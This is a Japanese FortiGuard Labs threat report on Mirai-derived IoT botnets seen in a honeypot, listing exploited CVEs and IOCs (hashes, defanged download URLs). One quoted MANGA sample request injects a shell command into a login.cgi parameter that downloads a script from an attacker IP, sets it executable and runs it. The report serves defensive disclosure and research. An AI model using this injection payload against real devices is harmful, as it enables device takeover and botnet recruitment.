脅威リサーチ

Miraiの亡霊たち

投稿者 David Maciejak および Joie Salvio | 2021年7月5日

FortiGuard Labs Threat Research Report

影響を受けるプラットフォーム:Linux
影響を受けるユーザー:すべての組織
影響:リモートの攻撃者が脆弱なシステムを支配する
深刻度:クリティカル

2016年末に悪名高いIoTマルウェア「Mirai」のソースコードが作者によって公開されてから約5年が経過しました。この出来事をきっかけに、数多くの模倣犯が出現し、独自のフレーバーを持つIoTボットネット軍団が誕生しました。その後、さまざまな脅威アクターによって改良が絶えず加えられていますが、キャンペーンの構造と目的は変わっていません。

IoTマルウェアは、デフォルトまたは脆弱なユーザー名やパスワードを使用しているIoTデバイスをインターネット上でスキャンします。また、既知の脆弱性、時にはゼロデイ脆弱性を悪用してアクセスの機会を増やします。そして、悪意のあるバイナリをダウンロードして実行し、デバイスをゾンビネットワークの一部にして、不幸なターゲットにサービスを停止させる分散型サービス拒否(DDOS)攻撃に参加させるように仕向けます。また、このようなボットネットをサービスとして販売している企業もあります。

フォーティネットは、ハニーポットシステムを利用して、IoTデバイスの視点から、IoTボットネットの脅威の現状を注意深く監視してきました。この記事では、ここ数週間の我々の観察結果を紹介します。

どこから攻撃されているのか?

新しいIoTデバイスが初めてインターネットに接続されたときの状況をシミュレートするために、新鮮なハニーポットシステムを設置し、どのような種類の攻撃を受けるのかを記録しました。このハニーポットは、telnetクレデンシャルブルートフォース攻撃に対して脆弱であるように設計されています。この記事に掲載されている統計は、3週間のものです。

このハニーポットシステムは、平均して1日あたり約200件の攻撃を受け、最終的にわずか3週間で約4700件のtelnet接続を記録しました。そして、これらの攻撃のうち約4,000件を特定し、それらをMirai関連のマルウェアファミリーに結びつけることができました。

図1 1日あたりのtelnet接続数

このハニーポットはダウンロードしたバイナリを実行しないため、ほとんどの攻撃はマルウェアがシステム内で実行されるまで再試行を繰り返します。重複するIPを削除することで、実際の攻撃元の数が判明し、次の表にまとめました。

図2 国別のユニークなtelnetソースIP数

IoTマルウェア亜種のトップ

Miraiの亜種の作者は、SSHやTelnetのコマンドがデバイスで正常に実行されたかどうかを確認するために、バイナリに固有の文字列やトークンを使用しますが、これは脅威のアクターが自分のマルウェアを宣伝するために使用したり、場合によっては単に目新しいメッセージのプレースホルダーとして使用したりすることもあります。

以下の図は、SORA Miraiの亜種がデバイスにアクセスした直後に実行する一連のコマンドを示しています。

図3 SORAボットが実行するシェルコマンドの例

これらの文字列は、研究者が亜種を分類するために長年にわたって多用してきました。しかし、亜種が異なるトークンを使用していても、機能的には同じマルウェアであることが判明し、さらには同じ脅威アクターによって運営されている場合もあります。このような場合には、デバイスにダウンロードされた実際のバイナリを分析することで、既存の亜種の数をさらに明確にすることができます。

ハニーポットが受信した攻撃に基づき、確認できた亜種のトップ10を以下の表に示します。

図4 確認された亜種のトップ10

謎に包まれた「Hajime」

Hajime は、第一世代のMiraiの後継と呼ばれています。前世代のMiraiと同じ原理と目的で作られており、一般的なデフォルトデバイスのパスワードリストを使って認証情報をブルートフォースすることで、IoTデバイスに伝搬しようとします。しかし、Miraiとは異なり、Hajimeはボットへのコマンド発行に分散型のP2Pネットワークを利用しています。そのため、テイクダウンのためのコマンド&コントロール(C2)サーバーの位置を特定することが非常に困難です。

洗練されたボットネットワーク通信であることはもちろんのこと、その曖昧な意図により、最もミステリアスな亜種の一つでもあります。Hajimeのボットに送られるコマンドは、構造化されたメッセージの形で、ピアツーピアネットワークの中を流れていきます。これらのコマンドの1つは、ボットにバイナリをダウンロードして実行するよう指示するもので、内部的には「モジュール」と呼ばれています。これまでに広く提供されていることが確認されているのは、拡散モジュールのみです。攻撃モジュールや破壊モジュールは観測されておらず、Hajimeが破壊攻撃に関連したこともありません。さらに、Hajimeの動作の一部として、他のIoTマルウェアが一般的に狙うポートへのアクセスをブロックすることがあり、それによって感染したデバイスをさらなる感染からある程度保護することができます。

最後に、デバイスの端末に次のようなメッセージを伝えます。

Just a white hat, securing some systems.

Important messages will be signed like this!

Hajime Author.

Contact CLOSED Stay sharp!

IHajimeが本物の自警団の仕業ではないかと推測されるのは時間の問題でした。

SYLVEONが引退した?

それよりも私たちを驚かせたのは、SYLVEONの亜種が表に出てきたことです。2019年半ばには、「Light The Sylveon」や「Light The Leafeon」という名前で活動していた14歳のヨーロッパのIoTマルウェア作者がいました。

我々がキャプチャしたバイナリの1つの復号化された文字列をざっと見たところ、「Leafeon」という単語が見つかり、これが作者のカムバックではないかという憶測につながりました。

図5 SYLVEONのバイナリで見つかった文字列

「Light the Sylveon 」は、破壊的なIoTマルウェア SILEX も共に作成しました。このマルウェアの目的は、BrickerBotと非常によく似た破壊的なコマンドを実行することで、脆弱なデバイスを動作不能にすることでした。マルウェアのバイナリに埋め込まれたメッセージによると、マルウェアの作者の視点では、これは「スキッドがスキッドのボットネットを自由に使えないようにするため」とされています。

最終的には、「Light The Sylveon」の作者は、自身のtwitterアカウントへの投稿を通じて、プロジェクトを放棄することを発表しました。

図6 「Light The Sylveon」がtwitterの投稿で辞めることを発表

しかし、SILEXとは異なり、SYLVEONは従来のIoTマルウェアで、明らかにMiraiのソースコードをベースにして、いくつかの攻撃を加えたものです。

図7 SYLVEONのバイナリに含まれる関数名リスト

大変興味深いことに、以前に他のIoTマルウェアキャンペーンに関連していたグループ「greek.Helios」と特定の「Thar3seller」が、現在この亜種の作者であると主張しています。

図8 SYLVEONのバイナリで見つかった文字列

これらの異なる作者の関係はまだ明らかになっていません。しかし、あるダウンロードサーバーで最近更新されたバイナリが見つかったことからもわかるように、この亜種が活発に運用されていることは確かです。

図9 SYLVEONの亜種をホスティングしているオープンディレクトリ

SORA - Wickedファミリーの生き残りメンバー

また、3年前に紹介した「Wicked」と呼ばれる脅威アクターが作成したMiraiの亜種も興味深いものです。これらの亜種には、「Owari」、「Omni」、「Wicked」、「SORA」などがあります。当時のインタビューによると、作者はOwariとOmniに注力し、SORAを含む他の2つの亜種は放棄するつもりだと述べていました。私たちの観察によると、SORAは兄弟よりもうまく生き残っているようです。

Miraiの亜種MANGAは、対象となる脆弱性のリストを積極的に更新

ハニーポットの他にも、私たちは他のソースからのMiraiの亜種も監視しています。特に、「MANGA」という亜種は、新たな悪用ベクトルをリストに追加するという点で、最も活発な亜種の一つであるため、その動向を注意深く監視しています。

実際、ちょうど1週間前にも、いくつかのエクスプロイトが追加されており、そのうち2つはかなり最近のものです。

図 10 OptiLink GPON の RCE につながるリクエストの例
図11 CVE-2021-1498を狙ったリクエストのサンプル
図12 CVE-2021-31755を狙ったリクエストのサンプル
  • Unknown 1 (Unidentified target)
Sample request:
図13 未知のターゲットを狙うリクエストのサンプル

以下は、このマルウェアの亜種がエクスプロイトに悪用しようとする、その他の脆弱性の一覧です。

Vulnerability

Description

CVE-2021-22986

F5 iControl REST Remote Code Execution

CVE-2009-4490

mini_httpd 1.18 Escape Sequence

CVE-2018-10088

XiongMai uc-httpd Buffer Overflow

CVE-2020-28188

TerraMaster TOS Remote Code Execution

CVE-2020-29557

D-Link DIR-825 Buffer Overflow

CVE-2020-25506

D-Link DNS-320 Remote Code Execution

CVE-2021-22502

Micro Focus OBR Remote Code Execution

CVE-2021-27561/CVE-2021-27562

Yealink DM (Device Management) Remote Code Execution

CVE-2021-22991

F5 BIG-IP Buffer Overflow

VisualDoor(2021-01-29)

SonicWall SSL-VPN Remote Code Execution

Unknown 2

key parameter on /cgi-bin/login.cgi leading to Remote Code Execution

 

Sample request:

POST /cgi-bin/login.cgi HTTP/1.1

Connection: keep-alive

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0

 

key=';`cd /tmp; wget http://{REDACTED IP}/lolol.sh; curl -O http://{REDACTED IP}/lolol.sh; chmod 777 lolol.sh; sh lolol.sh;`;#

図14 Mangaに狙われているその他の脆弱性

結論

設置されているIoTデバイスの数が爆発的に増え続けており、特にそれらを保護するためのセキュリティ基準が整備されていない現状では、本稿で示したように、IoTは当面の間、マルウェアの活動の温床となるでしょう。そして興味深いことに、Miraiの亜種は、攻撃や開発の面でいまだに活発に活動しています。

フォーティネットのソリューション

当社のハニーポットシステムなどから収集されたアーティファクトはすべて自動的に処理され、これらの攻撃からお客様を確実に保護します。とはいえ、以下のような予防措置をとることを強くお勧めします。

  • マルウェアがIoTデバイスに侵入する方法としては、いまだにブルートフォースの一種であるクレデンシャルスタッフィングが主流となっているため、推測が困難なユーザー名とパスワードを設定することで、デバイスの安全性を高めることができます。
  • また、既知の脆弱性から保護するために、デバイスのソフトウェアを常に最新の状態に保つようにしてください。

フォーティネットのお客様は以下のように保護されています。

IOC(Indicators of Compromise:侵害指標)

MANGA

Files (SHA256)
25fcefa76d1752b40b33f353332ddb48b3bae529f0af24347ffeffc5e1acd5cd
5312cb57d8c38ab349a9d67db65c66a733758cb29eb118c958ede11a98322c8a
6075c917e2b25ff2def7cdb3019e0ad725a02387c9e1e83cb6514bd410c8f928
fd2aed69644ff8edcc501945ca5e83d548c6c346d3e92c922eeb3f5da03f9b8d
626e1a247045dff09c4b6aa5de8d9b9d1d385846306a359587f42b60d4413258
68601bae31381d2205dd16df1f2aff52592f9a9aad71ea5f60f68321c6aea579
40066f30b72b4184b33e834712832879f8814ddaf56c71f33bbaacb890c350f0
51ffd3c3e1b10b629692b3b1120c777388ae73c61469bb2926d2a70a457ea14d
fee1a5ceea21f14b60f0d632a2889bf3ef81f45eb783e53ada44b9b2f8e4a4a
7df6c4d3bc4f528c5928e3ef09feb532e3407f893af02c16437e669390d6a09f
eb64753c578138157eeff8ba1087a94538f1337bd4c6d09ac26806cb12ff69c1
ef57d97bffb2ef7a435fe6668d0aba12196cd91ee1cd3d5446ad525995b76b8d
c9845823a32b9b5ff59f76771c90e4f23c8f94e9013051797cfd4efdf43c4d4f
1a2bc7e97c73efbbbe4a7ad0f577c2b3585f1fe15a3fdb82bd79f13906d838d0
ca9965127cfdae9e2d8b228af0ab691589ac27cc5ca17a3377de2e8551b64f9f
49e5ba121c216146cdcf63ebade1853a3710fa266f8c456e3dcee0565e6bdbb1
1bb9bda36b1d2a8963e5a2687ce4645a02805ad0ccb74a0b234cdb9503fdd8e3
f19c64746eddcd33daa30df9c9f282863ad05b22e2f143382f0ab18547cd6497
ec7f7a791e7bca70b5143bbe9064124ae05cdfc13a3c7ab295b6f555eda1ed7d

Download URLs
http[:]//212.192.241.72/bins/dark.mpsl
http[:]//212.192.241.72/bins/dark.arm5
http[:]//212.192.241.72/bins/dark.arm6
http[:]//212.192.241.72/bins/dark.arm7
http[:]//212.192.241.72/bins/dark.x86
http[:]//212.192.241.72/bins/dark.ppc
http[:]//212.192.241.72/bins/dark.mips

Hajime

Files (SHA256)
a04ac6d98ad989312783d4fe3456c53730b212c79a426fb215708b6c6daa3de3
Download URLs
http[:]//121.121.122.176:29641/.i
http[:]//121.162.45.6:38828/.i
http[:]//125.227.193.220:38674/.i
http[:]//130.164.183.217:62624/.i
http[:]//14.42.160.123:19634/.i
http[:]//147.234.71.142:7011/.i
http[:]//171.232.247.121:63812/.i
http[:]//171.247.233.69:36829/.i
http[:]//175.115.103.118:8450/.i
http[:]//178.116.76.54:20060/.i
http[:]//183.108.201.171:32745/.i
http[:]//184.82.56.195:58027/.i
http[:]//187.233.194.166:3181/.i
http[:]//187.37.198.126:14552/.i
http[:]//189.132.235.210:43064/.i
http[:]//189.173.97.200:41775/.i
http[:]//190.18.221.214:51789/.i
http[:]//2.45.4.24:50436/.i
http[:]//201.105.177.84:25768/.i
http[:]//210.99.125.95:56779/.i
http[:]//211.107.151.26:26593/.i

Sample commands after gaining access:

SYLVEON

Files (SHA256)
2bdd553ad6485d11844c6cb68ae63f083c7f2ee6029f128a1521427e9a29aad5
311ac01e395d96f8017ef95dfa9ee8f00aa527e02cfcd207de371e04e5aed023
4a4b8fdbe2cff3547e6d808226d34cf6059d9160326326d3b90d851e602035d8
7edb2ff320e99a1b92c7fa51dcd485edbc15eb4d23520ee26ed0d42600a733a1
4bbf2dab9cce066bab887e0058150157f0417d6dceca64025ce2127a8eb584b0
208ae3086c769098f1a55ac6d88fb760571010c16f4a0e25c98ee0d33d4bdbbc
fac943c6173cf183e53bea76d4f6b07dbb455ec3dc98dda71164267fc7e1dbb4

Download URLs
http[:]//31.210.20.138/uwu/arm6
http[:]//31.210.20.138/uwu/ppc
http[:]//31.210.20.138/arm6
http[:]//31.210.20.138/sh4
http[:]//45.153.203.219/uwu/arm6
http[:]//45.95.169.110/bins/m68k

Sample commands after gaining access: